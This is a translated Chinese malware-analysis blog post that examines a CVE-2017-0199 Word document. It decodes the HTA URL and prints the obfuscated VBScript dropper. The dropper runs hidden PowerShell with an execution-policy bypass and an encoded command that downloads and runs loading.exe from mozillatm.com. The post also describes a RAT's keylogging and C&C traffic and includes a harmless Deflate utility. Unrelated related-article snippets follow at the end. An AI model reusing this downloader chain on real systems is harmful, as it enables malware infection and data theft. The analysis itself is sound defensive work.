由prison翻译整理,首发i春秋
 
引言;
 
这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。
 
过程非常详细,附带所需样本,适合新手。难度三颗星。
目标文件:
我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。

b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
  
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
  
>> 'http://mozillatm.com/loading.html'
这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。

你可以从这里参考
这个环节开始变得有意思起来了。
fuNctioN gJSoYXXAVqwD()
  
    DIM taCXnLuJDFFL
  
    taCXnLuJDFFL = cHRW(34)
     CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
     HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
     ChRw(34)
  
    CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
     " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
  
eND fUnCtioN

[/table]

但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

伪代码可以这样写:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run  ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
攻击者似乎使用的是RAT。

在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。

Program Files中复制的文件:

然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。

“Mozillatm.exe”将是我们的恶意可执行文件。

该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。

这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms

按键日志可以在“logs”文件夹中找到。

屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。

我编写了一个简单的工具来使用压缩算法执行压缩和解压。

/*
 * Title: Deflate Tool
 * Purpose: Compress and decompress files using the Deflate algorithm
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: [url]https://OsandaMalith.com[/url]
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
 
namespace compress2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
 
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                System.Environment.Exit(-1);
            }
 
            DeflateStream deflate = null;
            FileStream sink = null;
            FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
 
            if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
            {
                deflate = new DeflateStream(source, CompressionMode.Decompress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
 
                byte[] buffer = new byte[source.Length];
                buffer = new byte[source.Length];
 
                deflate.Read(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
            {
                deflate = new DeflateStream(source, CompressionMode.Compress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                byte[] buffer = new byte[source.Length];
                source.Read(buffer, 0, buffer.Length);
                deflate.Write(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else
            {
                Console.WriteLine("Enter an option -c compress or -d decompress");
                System.Environment.Exit(-1);
            }
 
            source.Close();
        
        }
    }
}

这是恶意软件的截图。

出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。

但是,它使用HTTP身份验证。

通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。

·         Bd2bd.com
·         Pc-net.org
·         Bd-pc.com
·         Registerbd.com
·         
附上我分析过的样本:
Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

带你走进二进制-一次APT攻击分析的更多相关文章

  1. 初探APT攻击

    首发于i春秋 作者:joe     所属团队:Arctic Shell 团队博客地址:https://www.cnblogs.com/anbus/   0x1:关于APT的相关介绍:     APT是 ...

  2. APT攻击基础科普

    0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名 ...

  3. 初探APT 攻击

    作者:joe       所属团队:Arctic Shell 本文编写参考: https://www.freebuf.com/vuls/175280.html https://www.freebuf. ...

  4. 从kill-chain的角度检测APT攻击

    前言 最近一直在考虑如何结合kill chain检测APT攻击.出发点是因为尽管APT是一种特殊.高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测 ...

  5. MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界

    MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...

  6. 小丁带你走进git的世界三-撤销修改

    一.撤销指令 git checkout还原工作区的功能 git reset  还原暂存区的功能 git clean  还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...

  7. 小丁带你走进git的世界二-工作区暂存区分支

    小丁带你走进git的世界二-工作区暂存区分支 一.Git基本工作流程 1.初始化一个仓库 git  init git  clone git仓库分为两种情况: 第一种是在现有项目或目录下导入所有文件到 ...

  8. 小丁带你走进git世界一-git简单配置

    小丁带你走进git世界一-git简单配置 1.github的简单配置 配置提交代码的信息,例如是谁提交的代码之类的. git config  –global user.name BattleHeaer ...

  9. 水坑式攻击-APT攻击常见手段

    所谓“水坑攻击”,是指黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击. 水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客 ...

随机推荐

  1. 过河卒(NOIP2002)

    题目链接:过河卒 直接模拟?会T掉60分. 所以我们可以采用递推,怎么想到的? 因为卒子只能向下或向右走,所以走到一个点的方法数,等于走到它上面点的方法数加上走到它左边点的方法数,这样就可以地推了. ...

  2. php 制作验证码不显示的问题

    php制作验证码的代码,这里就不多说了,网上有很多的,这里说一些可能遇到的问题. 1. 首先是检查自己的php.ini文件,是否支持gd库. 2.保证代码没有出问题. 3.检查字体文件路径是否正确. ...

  3. 2018.11.14 uoj#34. 多项式乘法(fft)

    传送门 NOIpNOIpNOIp爆炸不能阻止我搞oioioi的决心 信息技术课进行一点康复训练. fftfftfft板题. 代码: #include<bits/stdc++.h> usin ...

  4. 2018.11.06 bzoj1040: [ZJOI2008]骑士(树形dp)

    传送门 由题可知给出的是基环森林. 因此对于每个基环森林找到环断开dpdpdp两次就行了. 代码: #include<bits/stdc++.h> using namespace std; ...

  5. zk可视化工具

    也是无意中接触到zk,搞得有点头大,之前都是通过crt连通服务后,在服务上通过命令去查看节点下的数据的,十分的不方便,后来发现了可视化工具这玩意儿还真的是好用,看节啊点下的数据啥的一目了然,我用过的有 ...

  6. 简单的dialog,类似alert弹框

    function alertPop(content){ $.dialog({ title:"提示", width:400, height:100, padding:'5px', c ...

  7. Verilog中的阻塞与非阻塞

    这篇文档值得阅读 按说阻塞与非阻塞是Verilog中最基本的东西,也是老生常谈.但是最近看到很多程序里用到阻塞语句竟然不是很明白,说到底是从来没有自己仔细分析过.当然一般情况程序中也是推荐用非阻塞的. ...

  8. ACtiveMQ中间件-发布订阅模式

    前言:ActiveMQ学习心得 1.MQ是什么 MQ全称为Message Queue, 消息队列(MQ)是一种应用程序对应用程序的通信方法.应用程序通过读写出入队列的消息(针对应用程序的数据)来通信, ...

  9. MySQL导入导出表数据

    原文链接:http://blog.163.com/yang_jianli/blog/static/1619900062010111011041228/ 1.这里的导出和mysqldump不同,只是导出 ...

  10. C#版ObjectId

    近来在准备弄一个开源的HIS,但一周过去了几乎没有进度.就卡在ID如何生成.HIS的数据库压力大,如何多数据库支持,减轻压力一直想去实现.拿不准纯数字ID段还是GUID一类的文本ID.最终在mongo ...